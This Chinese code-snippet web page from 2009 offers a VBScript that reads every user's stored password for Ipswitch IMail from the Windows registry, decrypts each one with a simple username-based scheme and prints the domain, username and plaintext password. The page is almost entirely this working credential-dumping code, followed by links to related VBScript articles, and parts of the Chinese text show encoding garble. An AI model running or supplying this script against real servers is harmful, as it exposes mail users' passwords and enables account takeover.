vbs imail 密碼解密
更新時(shí)間:2009年05月27日 18:17:27 作者:
vbs imail 密碼解密代碼。
復(fù)制代碼 代碼如下:
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath2 = strKeyPath&"\"&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&"\"&subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next
function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function
相關(guān)文章
ASP/VBScript中CHR(0)的由來(lái)以及帶來(lái)的安全問(wèn)題分析
CHR(0)是個(gè)特殊的字符,當(dāng)然在Visual Basic或者VBScript中可以直接用vbNullChar表示,從數(shù)值意義上來(lái)說(shuō)這個(gè)字符就是數(shù)字02012-01-01VBS教程:對(duì)象-FileSystemObject 對(duì)象
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會(huì)需要對(duì)文件及文件夾進(jìn)行訪問(wèn)和管理,在Vbs中對(duì)桌面和文件系統(tǒng)進(jìn)行訪問(wèn)的頂級(jí)對(duì)象是FileSystemObject(FSO),這個(gè)對(duì)象特別復(fù)雜,是vbs進(jìn)行文件操作的核心。2006-11-11VBS教程:函數(shù)-FormatDateTime 函數(shù)
VBS教程:函數(shù)-FormatDateTime 函數(shù)...2006-11-11使用 Iisftp.vbs 停止FTP站點(diǎn)的方法
這篇文章主要介紹了使用 Iisftp.vbs 停止FTP站點(diǎn)的方法,需要的朋友可以參考下2014-07-07把vbscript發(fā)揮到它的極限應(yīng)用之一(數(shù)組)?。?!
把vbscript發(fā)揮到它的極限應(yīng)用之一(數(shù)組)?。?!...2007-05-05